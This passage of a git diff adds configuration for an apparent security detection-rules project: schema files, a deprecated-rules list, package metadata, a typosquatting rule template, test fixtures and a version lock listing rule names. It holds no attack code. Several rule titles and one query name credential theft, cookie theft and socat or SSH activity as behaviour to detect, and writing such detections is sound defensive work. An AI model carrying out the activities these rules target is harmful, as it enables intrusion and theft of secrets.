a/etc/beats_schemas/v7.14.0.json.gz b/etc/beats_schemas/v7.14.0.json.gz new file mode 100644 index 000000000..1f883136c Binary files /dev/null and b/etc/beats_schemas/v7.14.0.json.gz differ diff --git a/etc/beats_schemas/v7.15.1.json.gz b/etc/beats_schemas/v7.15.1.json.gz new file mode 100644 index 000000000..d2b023d69 Binary files /dev/null and b/etc/beats_schemas/v7.15.1.json.gz differ diff --git a/etc/beats_schemas/v7.16.2.json.gz b/etc/beats_schemas/v7.16.2.json.gz new file mode 100644 index 000000000..726fec0f4 Binary files /dev/null and b/etc/beats_schemas/v7.16.2.json.gz differ diff --git a/etc/beats_schemas/v7.7.0.json.gz b/etc/beats_schemas/v7.7.0.json.gz new file mode 100644 index 000000000..0450a04cd Binary files /dev/null and b/etc/beats_schemas/v7.7.0.json.gz differ diff --git a/etc/beats_schemas/v7.8.1.json.gz b/etc/beats_schemas/v7.8.1.json.gz new file mode 100644 index 000000000..e337543bf Binary files /dev/null and b/etc/beats_schemas/v7.8.1.json.gz differ diff --git a/etc/beats_schemas/v7.9.2.json.gz b/etc/beats_schemas/v7.9.2.json.gz new file mode 100644 index 000000000..85127ec0a Binary files /dev/null and b/etc/beats_schemas/v7.9.2.json.gz differ diff --git a/etc/beats_schemas/v8.0.0-rc1.json.gz b/etc/beats_schemas/v8.0.0-rc1.json.gz new file mode 100644 index 000000000..26d7aa4ef Binary files /dev/null and b/etc/beats_schemas/v8.0.0-rc1.json.gz differ diff --git a/etc/deprecated_rules.json b/etc/deprecated_rules.json new file mode 100644 index 000000000..508992bb8 --- /dev/null +++ b/etc/deprecated_rules.json @@ -0,0 +1,147 @@ +{ + "08d5d7e2-740f-44d8-aeda-e41f4263efaf": { + "deprecation_date": "2021/04/15", + "rule_name": "TCP Port 8000 Activity to the Internet", + "stack_version": "7.14.0" + }, + "0f616aee-8161-4120-857e-742366f5eeb3": { + "deprecation_date": "2021/04/15", + "rule_name": "PowerShell spawning Cmd", + "stack_version": "7.14.0" + }, + "119c8877-8613-416d-a98a-96b6664ee73a5": { + "deprecation_date": "2021/08/02", + "rule_name": "AWS RDS Snapshot Export", + "stack_version": "7.13" + }, + "120559c6-5e24-49f4-9e30-8ffe697df6b9": { + "deprecation_date": "2021/04/15", + "rule_name": "User Discovery via Whoami", + "stack_version": "7.14.0" + }, + "139c7458-566a-410c-a5cd-f80238d6a5cd": { + "deprecation_date": "2021/04/15", + "rule_name": "SQL Traffic to the Internet", + "stack_version": "7.14.0" + }, + "3a86e085-094c-412d-97ff-2439731e59cb": { + "deprecation_date": "2021-03-03", + "rule_name": "Setgid Bit Set via chmod", + "stack_version": "7.13" + }, + "47f09343-8d1f-4bb5-8bb0-00c9d18f5010": { + "deprecation_date": "2021/03/17", + "rule_name": "Execution via Regsvcs/Regasm", + "stack_version": "7.14.0" + }, + "61c31c14-507f-4627-8c31-072556b89a9c": { + "deprecation_date": "2021/04/15", + "rule_name": "Mknod Process Activity", + "stack_version": "7.14.0" + }, + "67a9beba-830d-4035-bfe8-40b7e28f8ac4": { + "deprecation_date": "2021/04/15", + "rule_name": "SMTP to the Internet", + "stack_version": "7.14.0" + }, + "68113fdc-3105-4cdd-85bb-e643c416ef0b": { + "deprecation_date": "2021/04/15", + "rule_name": "Query Registry via reg.exe", + "stack_version": "7.14.0" + }, + "6f1500bc-62d7-4eb9-8601-7485e87da2f4": { + "deprecation_date": "2021/04/15", + "rule_name": "SSH (Secure Shell) to the Internet", + "stack_version": "7.14.0" + }, + "7a137d76-ce3d-48e2-947d-2747796a78c0": { + "deprecation_date": "2021/04/15", + "rule_name": "Network Sniffing via Tcpdump", + "stack_version": "7.14.0" + }, + "7d2c38d7-ede7-4bdf-b140-445906e6c540": { + "deprecation_date": "2021/04/15", + "rule_name": "Tor Activity to the Internet", + "stack_version": "7.14.0" + }, + "81cc58f5-8062-49a2-ba84-5cc4b4d31c40": { + "deprecation_date": "2021/04/15", + "rule_name": "Persistence via Kernel Module Modification", + "stack_version": "7.14.0" + }, + "87ec6396-9ac4-4706-bcf0-2ebb22002f43": { + "deprecation_date": "2021/04/15", + "rule_name": "FTP (File Transfer Protocol) Activity to the Internet", + "stack_version": "7.14.0" + }, + "97f22dab-84e8-409d-955e-dacd1d31670b": { + "deprecation_date": "2021/04/15", + "rule_name": "Base64 Encoding/Decoding Activity", + "stack_version": "7.14.0" + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae1": { + "deprecation_date": "2021/04/15", + "rule_name": "Trusted Developer Application Usage", + "stack_version": "7.14.0" + }, + "a4ec1382-4557-452b-89ba-e413b22ed4b8": { + "deprecation_date": "2020/10/30", + "rule_name": "Network Connection via Mshta", + "stack_version": "7.10.0" + }, + "a9198571-b135-4a76-b055-e3e5a476fd83": { + "deprecation_date": "2021/04/15", + "rule_name": "Hex Encoding/Decoding Activity", + "stack_version": "7.14.0" + }, + "ad0e5e75-dd89-4875-8d0a-dfdc1828b5f3": { + "deprecation_date": "2021/04/15", + "rule_name": "Proxy Port Activity to the Internet", + "stack_version": "7.14.0" + }, + "b1c14366-f4f8-49a0-bcbb-51d2de8b0bb8": { + "deprecation_date": "2021/04/15", + "rule_name": "Potential Persistence via Cron Job", + "stack_version": "7.14.0" + }, + "c6474c34-4953-447a-903e-9fcb7b6661aa": { + "deprecation_date": "2021/04/15", + "rule_name": "IRC (Internet Relay Chat) Protocol Activity to the Internet", + "stack_version": "7.14.0" + }, + "c87fca17-b3a9-4e83-b545-f30746c53920": { + "deprecation_date": "2021/04/15", + "rule_name": "Nmap Process Activity", + "stack_version": "7.14.0" + }, + "cc16f774-59f9-462d-8b98-d27ccd4519ec": { + "deprecation_date": "2021/04/15", + "rule_name": "Process Discovery via Tasklist", + "stack_version": "7.14.0" + }, + "cd4d5754-07e1-41d4-b9a5-ef4ea6a0a126": { + "deprecation_date": "2021/04/15", + "rule_name": "Socat Process Activity", + "stack_version": "7.14.0" + }, + "d2053495-8fe7-4168-b3df-dad844046be3": { + "deprecation_date": "2021/04/15", + "rule_name": "PPTP (Point to Point Tunneling Protocol) Activity", + "stack_version": "7.14.0" + }, + "dc672cb7-d5df-4d1f-a6d7-0841b1caafb9": { + "deprecation_date": "2022/01/12", + "rule_name": "Threat Intel Filebeat Module (v7.x) Indicator Match", + "stack_version": "8.0" + }, + "e56993d2-759c-4120-984c-9ec9bb940fd5": { + "deprecation_date": "2021/04/15", + "rule_name": "RDP (Remote Desktop Protocol) to the Internet", + "stack_version": "7.14.0" + }, + "ea0784f0-a4d7-4fea-ae86-4baaf27a6f17": { + "deprecation_date": "2021/04/15", + "rule_name": "SSH (Secure Shell) from the Internet", + "stack_version": "7.14.0" + } +} \ No newline at end of file diff --git a/etc/ecs_schemas/1.0.1/ecs_flat.json.gz b/etc/ecs_schemas/1.0.1/ecs_flat.json.gz new file mode 100644 index 000000000..fb6660a3c Binary files /dev/null and b/etc/ecs_schemas/1.0.1/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.0.1/ecs_nested.json.gz b/etc/ecs_schemas/1.0.1/ecs_nested.json.gz new file mode 100644 index 000000000..8b84202a2 Binary files /dev/null and b/etc/ecs_schemas/1.0.1/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.1.0/ecs_flat.json.gz b/etc/ecs_schemas/1.1.0/ecs_flat.json.gz new file mode 100644 index 000000000..086842503 Binary files /dev/null and b/etc/ecs_schemas/1.1.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.1.0/ecs_nested.json.gz b/etc/ecs_schemas/1.1.0/ecs_nested.json.gz new file mode 100644 index 000000000..7728dbff2 Binary files /dev/null and b/etc/ecs_schemas/1.1.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.10.0/ecs_flat.json.gz b/etc/ecs_schemas/1.10.0/ecs_flat.json.gz new file mode 100644 index 000000000..1270141a6 Binary files /dev/null and b/etc/ecs_schemas/1.10.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.10.0/ecs_nested.json.gz b/etc/ecs_schemas/1.10.0/ecs_nested.json.gz new file mode 100644 index 000000000..2df9a79c6 Binary files /dev/null and b/etc/ecs_schemas/1.10.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.11.0/ecs_flat.json.gz b/etc/ecs_schemas/1.11.0/ecs_flat.json.gz new file mode 100644 index 000000000..edc471788 Binary files /dev/null and b/etc/ecs_schemas/1.11.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.11.0/ecs_nested.json.gz b/etc/ecs_schemas/1.11.0/ecs_nested.json.gz new file mode 100644 index 000000000..4e07762d9 Binary files /dev/null and b/etc/ecs_schemas/1.11.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.12.0/ecs_flat.json.gz b/etc/ecs_schemas/1.12.0/ecs_flat.json.gz new file mode 100644 index 000000000..5579a1846 Binary files /dev/null and b/etc/ecs_schemas/1.12.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.12.0/ecs_nested.json.gz b/etc/ecs_schemas/1.12.0/ecs_nested.json.gz new file mode 100644 index 000000000..03f4ddb67 Binary files /dev/null and b/etc/ecs_schemas/1.12.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.12.1/ecs_flat.json.gz b/etc/ecs_schemas/1.12.1/ecs_flat.json.gz new file mode 100644 index 000000000..325720b2f Binary files /dev/null and b/etc/ecs_schemas/1.12.1/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.12.1/ecs_nested.json.gz b/etc/ecs_schemas/1.12.1/ecs_nested.json.gz new file mode 100644 index 000000000..bef09ce4a Binary files /dev/null and b/etc/ecs_schemas/1.12.1/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.2.0/ecs_flat.json.gz b/etc/ecs_schemas/1.2.0/ecs_flat.json.gz new file mode 100644 index 000000000..538c95b0b Binary files /dev/null and b/etc/ecs_schemas/1.2.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.2.0/ecs_nested.json.gz b/etc/ecs_schemas/1.2.0/ecs_nested.json.gz new file mode 100644 index 000000000..12e192083 Binary files /dev/null and b/etc/ecs_schemas/1.2.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.3.0/ecs_flat.json.gz b/etc/ecs_schemas/1.3.0/ecs_flat.json.gz new file mode 100644 index 000000000..cb84b297f Binary files /dev/null and b/etc/ecs_schemas/1.3.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.3.0/ecs_nested.json.gz b/etc/ecs_schemas/1.3.0/ecs_nested.json.gz new file mode 100644 index 000000000..006fbc033 Binary files /dev/null and b/etc/ecs_schemas/1.3.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.3.1/ecs_flat.json.gz b/etc/ecs_schemas/1.3.1/ecs_flat.json.gz new file mode 100644 index 000000000..eb54451a6 Binary files /dev/null and b/etc/ecs_schemas/1.3.1/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.3.1/ecs_nested.json.gz b/etc/ecs_schemas/1.3.1/ecs_nested.json.gz new file mode 100644 index 000000000..9b7038764 Binary files /dev/null and b/etc/ecs_schemas/1.3.1/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.4.0/ecs_flat.json.gz b/etc/ecs_schemas/1.4.0/ecs_flat.json.gz new file mode 100644 index 000000000..928d4366a Binary files /dev/null and b/etc/ecs_schemas/1.4.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.4.0/ecs_nested.json.gz b/etc/ecs_schemas/1.4.0/ecs_nested.json.gz new file mode 100644 index 000000000..f47c56404 Binary files /dev/null and b/etc/ecs_schemas/1.4.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.5.0/ecs_flat.json.gz b/etc/ecs_schemas/1.5.0/ecs_flat.json.gz new file mode 100644 index 000000000..58fe13e3d Binary files /dev/null and b/etc/ecs_schemas/1.5.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.5.0/ecs_nested.json.gz b/etc/ecs_schemas/1.5.0/ecs_nested.json.gz new file mode 100644 index 000000000..4d6e25b3f Binary files /dev/null and b/etc/ecs_schemas/1.5.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.6.0/ecs_flat.json.gz b/etc/ecs_schemas/1.6.0/ecs_flat.json.gz new file mode 100644 index 000000000..a21d4ee69 Binary files /dev/null and b/etc/ecs_schemas/1.6.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.6.0/ecs_nested.json.gz b/etc/ecs_schemas/1.6.0/ecs_nested.json.gz new file mode 100644 index 000000000..34d8b175e Binary files /dev/null and b/etc/ecs_schemas/1.6.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.7.0/ecs_flat.json.gz b/etc/ecs_schemas/1.7.0/ecs_flat.json.gz new file mode 100644 index 000000000..a3faf1043 Binary files /dev/null and b/etc/ecs_schemas/1.7.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.7.0/ecs_nested.json.gz b/etc/ecs_schemas/1.7.0/ecs_nested.json.gz new file mode 100644 index 000000000..6048a26be Binary files /dev/null and b/etc/ecs_schemas/1.7.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.8.0/ecs_flat.json.gz b/etc/ecs_schemas/1.8.0/ecs_flat.json.gz new file mode 100644 index 000000000..35843e87d Binary files /dev/null and b/etc/ecs_schemas/1.8.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.8.0/ecs_nested.json.gz b/etc/ecs_schemas/1.8.0/ecs_nested.json.gz new file mode 100644 index 000000000..e756ec33d Binary files /dev/null and b/etc/ecs_schemas/1.8.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/1.9.0/ecs_flat.json.gz b/etc/ecs_schemas/1.9.0/ecs_flat.json.gz new file mode 100644 index 000000000..93e0a6a62 Binary files /dev/null and b/etc/ecs_schemas/1.9.0/ecs_flat.json.gz differ diff --git a/etc/ecs_schemas/1.9.0/ecs_nested.json.gz b/etc/ecs_schemas/1.9.0/ecs_nested.json.gz new file mode 100644 index 000000000..2991d05fa Binary files /dev/null and b/etc/ecs_schemas/1.9.0/ecs_nested.json.gz differ diff --git a/etc/ecs_schemas/master_8.2.0.dev/ecs_flat.json.gz b/etc/ecs_schemas/master_8.2.0.dev/ecs_flat.json.gz new file mode 100644 index 000000000..326eb2e21 Binary files /dev/null and b/etc/ecs_schemas/master_8.2.0.dev/ecs_flat.json.gz differ diff --git a/etc/lock-multiple.sh b/etc/lock-multiple.sh new file mode 100755 index 000000000..5d418b626 --- /dev/null +++ b/etc/lock-multiple.sh @@ -0,0 +1,16 @@ +#!/bin/bash +set -x +set -e + +CURRENT_BRANCH=$(git rev-parse --abbrev-ref HEAD) + +# switch to +for BRANCH in $(echo $@ | sed "s/,/ /g") +do + echo $BRANCH + git checkout $BRANCH + git pull + python -m detection_rules dev build-release --update-version-lock +done + +git checkout ${CURRENT_BRANCH} diff --git a/etc/non-ecs-schema.json b/etc/non-ecs-schema.json new file mode 100644 index 000000000..607d4fc23 --- /dev/null +++ b/etc/non-ecs-schema.json @@ -0,0 +1,60 @@ +{ + "endgame-*": { + "endgame": { + "metadata": { + "type": "keyword" + }, + "event_subtype_full": "keyword" + } + }, + "winlogbeat-*": { + "winlog": { + "event_data": { + "AccessList": "keyword", + "AccessMask": "keyword", + "AccessMaskDescription": "keyword", + "AllowedToDelegateTo": "keyword", + "AttributeLDAPDisplayName": "keyword", + "AttributeValue": "keyword", + "CallerProcessName": "keyword", + "CallTrace": "keyword", + "ClientProcessId": "keyword", + "GrantedAccess": "keyword", + "NewTargetUserName": "keyword", + "ObjectClass": "keyword", + "ObjectDN": "keyword", + "ObjectName": "keyword", + "OldTargetUserName": "keyword", + "OriginalFileName": "keyword", + "ParentProcessId": "keyword", + "ProcessName": "keyword", + "Properties": "keyword", + "RelativeTargetName": "keyword", + "ShareName": "keyword", + "SubjectLogonId": "keyword", + "SubjectUserName": "keyword", + "TargetImage": "keyword", + "TargetLogonId": "keyword", + "TargetProcessGUID": "keyword", + "TargetSid": "keyword", + "PrivilegeList": "keyword" + } + }, + "winlog.logon.type": "keyword", + "powershell.file.script_block_text": "text" + }, + "filebeat-*": { + "o365.audit.NewValue": "keyword", + "o365audit.Parameters.ForwardTo": "keyword", + "o365audit.Parameters.ForwardAsAttachmentTo": "keyword", + "o365audit.Parameters.RedirectTo": "keyword" + }, + "logs-endpoint.events.*": { + "process.Ext.token.integrity_level_name": "keyword", + "process.parent.Ext.real.pid": "long", + "file.Ext.header_bytes": "keyword" + }, + "logs-windows.*": { + "powershell.file.script_block_text": "text" + } +} diff --git a/etc/packages.yml b/etc/packages.yml new file mode 100644 index 000000000..5a7793a6a --- /dev/null +++ b/etc/packages.yml @@ -0,0 +1,43 @@ +--- +package: + name: "7.16" + release: true + # exclude rules which have any of the following index <-> field pairs + # exclude_fields: + # # special field to apply to all indexes + # any: + # - process.args + # - network.direction + # logs-endpoint.events.*: + # - file.name + filter: + # ecs_version: + # - 1.4.0 + # - 1.5.0 + maturity: + - production + # log deprecated rules in summary and change logs + log_deprecated: true + # rule version scoping + # min_version: 1 + # max_version: 5 + + # elastic/integrations + registry_data: + categories: ["security"] + conditions: + kibana.version: "^7.16.0" + description: Prebuilt detection rules for Elastic Security + format_version: 1.0.0 + icons: + - size: 16x16 + src: /img/security-logo-color-64px.svg + type: image/svg+xml + license: basic + name: security_detection_engine + owner: + github: elastic/protections + release: ga + title: Prebuilt Security Detection Rules + type: integration + version: 0.16.0-dev.0 diff --git a/etc/rule-mapping.yml b/etc/rule-mapping.yml new file mode 100644 index 000000000..d9e1a256f --- /dev/null +++ b/etc/rule-mapping.yml @@ -0,0 +1,2 @@ +--- +{} diff --git a/etc/rule_template_typosquatting_domain.json b/etc/rule_template_typosquatting_domain.json new file mode 100644 index 000000000..6dfe15666 --- /dev/null +++ b/etc/rule_template_typosquatting_domain.json @@ -0,0 +1,47 @@ +{ + "author": ["THIS WILL BE POPULATED BY create-dnstwist-index COMMAND"], + "description": "This rule is triggered when a DNS request is made for a domain in the list of typosquatting domains generated by\ndnstwist. Adversaries may register homonym or homoglyph domains for the organization that they're targeting before\nsending a phishing lure to a user in an attempt to infect their endpoint with malware or steal credentials.\n", + "from": "now-10m", + "index": [ + "packetbeat-*", + "winlogbeat-*" + ], + "interval": "9m", + "language": "kuery", + "license": "Elastic License v2", + "name": "DNS Request for Typosquatting Domain", + "note": "## Config\n\n- Packetbeat or Winlogbeat must be configured to log DNS request events to be compatible with this rule.\n\n\n## Triage and Analysis\n\n- Determine the reason that the DNS request was made by the affected endpoint. For example, did the user visit the domain\nafter receiving a phishing email or did they mistype one of the organization's registered domains?\n- Take appropriate security measures when investigating the domain in question, as it may host malware or an attacker\nmay be monitoring for potential victims visiting the domain. For example, Use open source intelligence such as the\nWHOIS domain database to obtain information about the domain or interact with it using a malware sandbox service that\nis segmented from any of your production systems.\n", + "query": "dns.question.registered_domain:*\n", + "references": [], + "risk_score": 73, + "rule_id": "THIS WILL BE POPULATED BY create-dnstwist-index COMMAND", + "severity": "high", + "tags": [ + "Elastic", + "Network", + "Windows", + "Continuous Monitoring", + "SecOps", + "Monitoring" + ], + "threat_index": [ + "dnstwist-*" + ], + "threat_indicator_path": "", + "threat_language": "kuery", + "threat_mapping": [ + { + "entries": [ + { + "field": "dns.question.registered_domain", + "type": "mapping", + "value": "dns.question.registered_domain" + } + ] + } + ], + "threat_query": "dns.question.registered_domain:*", + "timeline_id": "495ad7a7-316e-4544-8a0f-9c098daee76e", + "timeline_title": "Generic Threat Match Timeline", + "type": "threat_match" +} \ No newline at end of file diff --git a/etc/security-logo-color-64px.svg b/etc/security-logo-color-64px.svg new file mode 100644 index 000000000..64deb46be --- /dev/null +++ b/etc/security-logo-color-64px.svg @@ -0,0 +1,14 @@ + + + + security-logo-color-64px + Created with Sketch. + + + + + + + + + \ No newline at end of file diff --git a/etc/stack-schema-map.yaml b/etc/stack-schema-map.yaml new file mode 100644 index 000000000..e3d0761b6 --- /dev/null +++ b/etc/stack-schema-map.yaml @@ -0,0 +1,36 @@ +# alignment of stack with beats and ecs versions +# ECS versions do not align perfectly with stack releases (as of 7.13), so this will reflect MAX ecs version for a +# given release +# +# refer to release branch in https://github.com/elastic/beats/blob/main/libbeat/_meta/fields.ecs.yml + +"7.13.0": + # beats release about the same time as the stack, so we cannot update this until it is released + beats: "7.13.2" + ecs: "1.9.0" + +"7.14.0": + beats: "7.14.0" + ecs: "1.10.0" + +"7.15.0": + beats: "7.15.1" + ecs: "1.11.0" + +"7.16.0": + beats: "7.16.2" # TODO: update this once beats releases + ecs: "1.12.1" + +# 7.17 was intentionally skipped because it was added late and was bug fix only + +"8.0.0": + beats: "8.0.0-rc1" # TODO: update this once beats releases + ecs: "1.12.1" + +"8.1.0": + beats: "main" # TODO: update this once beats releases + ecs: "1.12.1" + +"8.2.0": + beats: "main" # TODO: update this once beats releases + ecs: "1.12.1" diff --git a/etc/test_toml.json b/etc/test_toml.json new file mode 100644 index 000000000..c98d5ef90 --- /dev/null +++ b/etc/test_toml.json @@ -0,0 +1,119 @@ +[ + { + "metadata": { + "creation_date": "2020/02/26", + "ecs_version": [ + "1.4.0" + ], + "maturity": "development", + "updated_date": "2020/02/26" + }, + "rule": { + "description": "This rule detects network events that may indicate the use of SSH traffic from the Internet. SSH is commonly used by\nsystem administrators to remotely control a system using the command line shell. If it is exposed to the Internet, it\nshould be done with strong security controls as it is frequently targeted and exploited by threat actors as an initial\naccess or back-door vector.\n", + "false_positives": [ + " SSH connections may be made directly to Internet destinations in order to access Linux cloud server instances but\n such connections are usually made only by engineers. In such cases, only SSH gateways, bastions or jump servers may\n be expected Internet destinations and can be exempted from this rule. SSH may be required by some work-flows such as\n remote access and support for specialized software products and servers. Such work-flows are usually known and not\n unexpected. Usage that is unfamiliar to server or network owners can be unexpected and suspicious.\n " + ], + "index": [ + "filebeat-*" + ], + "language": "kuery", + "max_signals": 100, + "name": "SSH (Secure Shell) to the Internet", + "risk_score": 21, + "rule_id": "6f1500bc-62d7-4eb9-8601-7485e87da2f4", + "severity": "low", + "tags": [ + "Elastic", + "Network" + ], + "type": "query", + "version": 2, + "query": "network.transport: tcp and destination.port:22 and (\n network.direction: outbound or (\n source.ip: (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) and\n not destination.ip: (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16)\n )\n)\n", + "threat": [ + { + "framework": "MITRE ATT&CK", + "technique": [ + { + "id": "T1043", + "name": "Commonly Used Port", + "reference": "https://attack.mitre.org/techniques/T1043/" + } + ], + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + } + } + ] + } + }, + { + "metadata": { + "field": "value" + }, + "rule": { + "field2": "value2" + } + }, + { + "metadata": { + "just": "some", + "flat": "fields", + "for": "testing", + "and": [ + [ + "fields", + "nested" + ], + [ + "!", + "too" + ] + ] + }, + "rule": { + "first": "1st", + "second": "2nd", + "third": "3rd", + "fourth": 4, + "fifth": [ + 1, + 2, + 3 + ], + "list": [ + { + "one": [ + 2, + 3 + ] + }, + { + "two": { + "three": 4 + } + } + ], + "more_data": { + "one": { + "two": { + "three": { + "four": { + "five": [ + [ + 1, + 22, + 333 + ], + [[4], [5], [6]], + [["a"], ["b"], ["c"], [12, 13, 14]] + ] + } + } + } + } + } + } + } +] diff --git a/etc/version.lock.json b/etc/version.lock.json new file mode 100644 index 000000000..8f3ac24f1 --- /dev/null +++ b/etc/version.lock.json @@ -0,0 +1,4217 @@ +{ + "000047bb-b27a-47ec-8b62-ef1a5d2c9e19": { + "rule_name": "Attempt to Modify an Okta Policy Rule", + "sha256": "80a1e50be50bbff3ad4c80bdb84fae234c4b5ba106a15e6ed2570580a5d60b46", + "type": "query", + "version": 6 + }, + "00140285-b827-4aee-aa09-8113f58a08f3": { + "min_stack_version": "7.13.0", + "rule_name": "Potential Credential Access via Windows Utilities", + "sha256": "cbbb5fe38e0d37cf8fed4293739ecbf327d81a48aeb8aa6d2cb69d0aa362731d", + "type": "eql", + "version": 5 + }, + "0022d47d-39c7-4f69-a232-4fe9dc7a3acd": { + "rule_name": "System Shells via Services", + "sha256": "54fc1dc508daf749ca6a92dfd20fc62e6715527a8aeb14a2c8fcc627d1606105", + "type": "eql", + "version": 10 + }, + "0136b315-b566-482f-866c-1d8e2477ba16": { + "rule_name": "Microsoft 365 User Restricted from Sending Email", + "sha256": "982cd5446f2364c8297740d85ae9e707dafb0ba78e9c08622405313d96b4ae10", + "type": "query", + "version": 2 + }, + "027ff9ea-85e7-42e3-99d2-bbb7069e02eb": { + "rule_name": "Potential Cookies Theft via Browser Debugging", + "sha256": "1c44db89d3410a06dc61f99dda258376dd4863095c7c858ad1da33d8c582fc2c", + "type": "eql", + "version": 1 + }, + "02a4576a-7480-4284-9327-548a806b5e48": { + "rule_name": "Potential Credential Access via DuplicateHandle in LSASS", + "sha256": "dc5c89b6a2667693fbe1a725c957ad2bc11c124768f3a668613ba10a77780f91", + "type": "eql", + "version": 2 + }, + "02ea4563-ec10-4974-b7de-12e65aa4f9b3": { + "rule_name": "Dumping Account Hashes via Built-In Commands", + "sha256": "a2f14309ddc0b7a13f7b019b2b7350407d2752ab0df9f8665af61bc332727e40", + "type": "query", + "version": 1 + }, + "03024bd9-d23f-4ec1-8674-3cf1a21e130b": { + "rule_name": "Microsoft 365 Exchange Safe Attachment Rule Disabled", + "sha256": "56fde644941c8dc935907706539c6147e325aa11263d94d18329ebf769ee7838", + "type": "query", + "version": 5 + }, + "035889c4-2686-4583-a7df-67f89c292f2c": { + "rule_name": "High Number of Process and/or Service Terminations", + "sha256": "a5417071894f6d1e07147cb4c4ba4712768327afda352ca1bfbc6237b1834431", + "type": "threshold", + "version": 3 + }, + "0415f22a-2336-45fa-ba07-618a5942e22c": { + "rule_name": "Modification of OpenSSH Binaries", + "sha256": "aa59437d25cbe738b072814c67b5b678717edc99329c857a2eddcc4b0fc42290", + "type": "query", + "version": 1 + }, + "041d4d41-9589-43e2-ba13-5680af75ebc2": { + "rule_name": "Potential DNS Tunneling via Iodine", + "sha256": "b98a066f2cf74984ac8e04ea0db6503d30605711ac54d6d341f42c09a64bb515", + "type": "query", + "version": 7 + }, + "04c5a96f-19c5-44fd-9571-a0b033f9086f": { + "rule_name": "Azure AD Global Administrator Role Assigned", + "sha256": "7a015cad38d39de1f85abbcd1c66f94779b16769f63b8c6155453e53a2f2fd94", + "type": "query", + "version": 1 + }, + "053a0387-f3b5-4ba5-8245-8002cca2bd08": { + "rule_name": "Potential DLL Side-Loading via Microsoft Antimalware Service Executable", + "sha256": "bae7f8ff4ba6ea634982a368fedf0384ba3e9912ae10a1c22dab21a49056cb74", + "type": "eql", + "version": 2 + }, + "0564fb9d-90b9-4234-a411-82a546dc1343": { + "rule_name": "Microsoft IIS Service Account Password Dumped", + "sha256": "bcda2313ca40b6fb5e29b30a8a4a34392c0e5ec339b88f2b93e391657b5e3dc6", + "type": "eql", + "version": 4 + }, + "05b358de-aa6d-4f6c-89e6-78f74018b43b": { + "rule_name": "Conhost Spawned By Suspicious Parent Process", + "sha256": "d199c2fe63aef75d00d1404d2da28ece62aafacca1288fad7441a7febb506bc2", + "type": "eql", + "version": 4 + }, + "05e5a668-7b51-4a67-93ab-e9af405c9ef3": { + "rule_name": "Interactive Terminal Spawned via Perl", + "sha256": "3f61f0f688bfc61699356e5e7f4973cd0b8836b77900f752f3eca5ea477681ba", + "type": "query", + "version": 6 + }, + "0635c542-1b96-4335-9b47-126582d2c19a": { + "rule_name": "Remote System Discovery Commands", + "sha256": "16d8a132a4c14359e8917a15b94a476cff425e291fc3733d15bae53552e8c4b0", + "type": "eql", + "version": 3 + }, + "06dceabf-adca-48af-ac79-ffdf4c3b1e9a": { + "rule_name": "Potential Evasion via Filter Manager", + "sha256": "c481db545277820f57ac0efe04364be82a44271e65b05635d59c07fb0932a535", + "type": "eql", + "version": 8 + }, + "074464f9-f30d-4029-8c03-0ed237fffec7": { + "rule_name": "Remote Desktop Enabled in Windows Firewall", + "sha256": "29afef30be0c86eeb8c731c39dbf62b777ed72a65f168c0469f907ed9fd5b801", + "type": "eql", + "version": 4 + }, + "080bc66a-5d56-4d1f-8071-817671716db9": { + "rule_name": "Suspicious Browser Child Process", + "sha256": "3a499c8697025a438c86ba5961db32de9237c228e0337aa79b43ac98a7624d64", + "type": "eql", + "version": 1 + }, + "082e3f8c-6f80-485c-91eb-5b112cb79b28": { + "rule_name": "Launch Agent Creation or Modification and Immediate Loading", + "sha256": "7147dbd3f68475c0087ebb6aabbc2b86ebbe5be53eed996c4499c4b12a6efc21", + "type": "eql", + "version": 2 + }, + "083fa162-e790-4d85-9aeb-4fea04188adb": { + "rule_name": "Suspicious Hidden Child Process of Launchd", + "sha256": "ed5affdb15f11894bd6c79489368d13ba7d6be9cb53c34d65c7b30150ef24f55", + "type": "query", + "version": 1 + }, + "08d5d7e2-740f-44d8-aeda-e41f4263efaf": { + "rule_name": "TCP Port 8000 Activity to the Internet", + "sha256": "d0c6cdede82a9cafacef49dcd6afc1b13383214401be7fbaa3b09ae1fbe9a3fb", + "type": "query", + "version": 8 + }, + "092b068f-84ac-485d-8a55-7dd9e006715f": { + "rule_name": "Creation of Hidden Launch Agent or Daemon", + "sha256": "5863e9461fec288af7418b55eb3a1352d66726c36f3b908c8ae0dd5c4f4a86c5", + "type": "eql", + "version": 1 + }, + "09443c92-46b3-45a4-8f25-383b028b258d": { + "rule_name": "Process Termination followed by Deletion", + "sha256": 